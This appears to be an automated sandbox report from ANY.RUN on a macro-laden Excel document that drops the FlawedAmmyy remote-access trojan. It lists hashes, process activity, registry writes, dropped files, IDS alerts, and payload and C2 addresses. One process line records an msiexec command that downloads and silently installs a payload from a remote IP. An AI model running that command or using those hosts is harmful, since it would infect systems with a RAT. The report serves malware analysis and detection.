File name:

20180423 출납일보.xls

Full analysis: https://app.any.run/tasks/f2ea1b9f-dced-41b0-a1a5-86495cdb623c
Verdict: Malicious activity
Threats:

FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics.

Analysis date: April 23, 2019, 23:24:57
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
exe-to-msi
rat
flawedammyy
ammyy
trojan
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Tue Apr 23 21:28:39 2019, Security: 0
MD5:

EF44ED891CB62ADEA7099325CB35AE6C

SHA1:

9F0228323E3230F352DC82CA5DA56986F48EEDBE

SHA256:

5B2AADA3F4D3B5F4D007BAE0EB5A36398921183F977BE2E3820F09EDA58CFBF5

SSDEEP:

6144:uKpb8rGYrMPelwhKmFV5xtuEsgrdg4UQuBMdbh3hvtBznDEBgMh2Vwow/6499Jtt:B3MoVB/EtG/Cjtfcy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 1892)
    • Downloads executable files from IP

      • msiexec.exe (PID: 916)
    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 1892)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 916)
    • Application was dropped or rewritten from another process

      • wsus.exe (PID: 1360)
      • wsus.exe (PID: 920)
    • AMMYY was detected

      • wsus.exe (PID: 1360)
    • FLAWEDAMMYY was detected

      • wsus.exe (PID: 1360)
    • Connects to CnC server

      • wsus.exe (PID: 1360)
    • Loads the Task Scheduler COM API

      • MSI71B4.tmp (PID: 2176)
    • Loads the Task Scheduler DLL interface

      • MSI71B4.tmp (PID: 2176)
    • Changes the autorun value in the registry

      • MSI71B4.tmp (PID: 2176)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 916)
      • MSI71B4.tmp (PID: 2176)
    • Creates files in the program directory

      • MSI71B4.tmp (PID: 2176)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 916)
    • Starts CMD.EXE for commands execution

      • MSI71B4.tmp (PID: 2176)
    • Creates files in the Windows directory

      • MSI71B4.tmp (PID: 2176)
  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 1892)
    • Application was dropped or rewritten from another process

      • MSI71B4.tmp (PID: 2176)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 916)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 916)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

Author: Microsoft Office
LastModifiedBy: 1
Software: Microsoft Excel
CreateDate: 2018:12:19 10:42:12
ModifyDate: 2019:04:23 20:28:39
Security: None
CodePage: Windows Cyrillic
Company: Microsoft Corporation
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • 4
  • OOOO
  • 2
  • 3
HeadingPairs:
  • Листы
  • 2
  • Макросы Excel 4.0
  • 2
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start excel.exe no specs msiexec.exe no specs msiexec.exe msi71b4.tmp #AMMYY wsus.exe cmd.exe no specs wsus.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
916C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
920"C:\ProgramData\Microsofts HeIp\wsus.exe" C:\ProgramData\Microsofts HeIp\wsus.exetaskeng.exe
User:
admin
Company:
Gravity
Integrity Level:
MEDIUM
Description:
Gravity Protect
Exit code:
0
Version:
7.3.1.1
Modules
Images
c:\programdata\microsofts heip\wsus.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\winscard.dll
c:\windows\system32\ws2_32.dll
1360"C:\ProgramData\Microsofts HeIp\wsus.exe"C:\ProgramData\Microsofts HeIp\wsus.exe
MSI71B4.tmp
User:
admin
Company:
Gravity
Integrity Level:
MEDIUM
Description:
Gravity Protect
Exit code:
0
Version:
7.3.1.1
Modules
Images
c:\programdata\microsofts heip\wsus.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\winscard.dll
c:\windows\system32\ws2_32.dll
1892"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2176"C:\Windows\Installer\MSI71B4.tmp"C:\Windows\Installer\MSI71B4.tmp
msiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\windows\installer\msi71b4.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winspool.drv
3152msiexec.exe STOP=1 /i http://27.102.118.143/dom1 /q ksw='%TEMP%' C:\Windows\system32\msiexec.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3856"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI71B4.tmp >> NULC:\Windows\system32\cmd.exeMSI71B4.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
4076"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI71B4.tmp >> NULC:\Windows\system32\cmd.exeMSI71B4.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
817
Read events
735
Write events
63
Delete events
19

Modification events

(PID) Process:(1892) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:pp2
Value:
7070320064070000010000000000000000000000
(PID) Process:(1892) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(1892) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(1892) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:writeName:MTTT
Value:
640700002A8992D12BFAD40100000000
(PID) Process:(1892) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete valueName:pp2
Value:
7070320064070000010000000000000000000000
(PID) Process:(1892) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete keyName:
Value:
(PID) Process:(1892) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:delete keyName:
Value:
(PID) Process:(1892) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(1892) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(1892) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\E635A
Operation:writeName:E635A
Value:
04000000640700003400000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0032003000310038003000340032003300200020009CCDA9B07CC7F4BC2E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000507957D32BFAD4015A630E005A630E0000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
3
Suspicious files
6
Text files
9
Unknown types
3

Dropped files

PID
Process
Filename
Type
1892EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR5CF0.tmp.cvr
MD5:
SHA256:
916msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF70AB73BAE5B5B47C.TMP
MD5:
SHA256:
916msiexec.exeC:\Config.Msi\e701d.rbs
MD5:
SHA256:
916msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFFFF5BDA1550E7193.TMP
MD5:
SHA256:
916msiexec.exeC:\Windows\Installer\MSI6B29.tmpexecutable
MD5:
SHA256:
916msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\desktop.iniini
MD5:4A3DEB274BB5F0212C2419D3D8D08612
SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
916msiexec.exeC:\Windows\Installer\MSI71B4.tmpexecutable
MD5:
SHA256:
916msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
2176MSI71B4.tmpC:\ProgramData\Microsofts HeIp\wsus.exeexecutable
MD5:
SHA256:
2176MSI71B4.tmpC:\ProgramData\Microsofts HeIp\template_110b318.DATAHASHbinary
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
0
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
916
msiexec.exe
GET
200
27.102.118.143:80
http://27.102.118.143/dom1
KR
executable
156 Kb
suspicious
2176
MSI71B4.tmp
GET
200
160.202.162.147:80
http://160.202.162.147/1.tmp
KR
binary
627 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
916
msiexec.exe
27.102.118.143:80
DAOU TECHNOLOGY
KR
suspicious
1360
wsus.exe
169.239.128.119:80
Zappie Host LLC
ZA
malicious
2176
MSI71B4.tmp
160.202.162.147:80
Korea Telecom
KR
suspicious

DNS requests

No data

Threats

PID
Process
Class
Message
916
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
916
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
2176
MSI71B4.tmp
A Network Trojan was detected
ET CURRENT_EVENTS MalDoc Request for Payload (TA505 Related)
1360
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
1360
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] AMMYY RAT
1360
wsus.exe
A Network Trojan was detected
ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin
1360
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin
1 ETPRO signatures available at the full report
Process
Message
MSI71B4.tmp
C:\ProgramData\Microsofts HeIp\template_110b318.DATAHASH
MSI71B4.tmp
1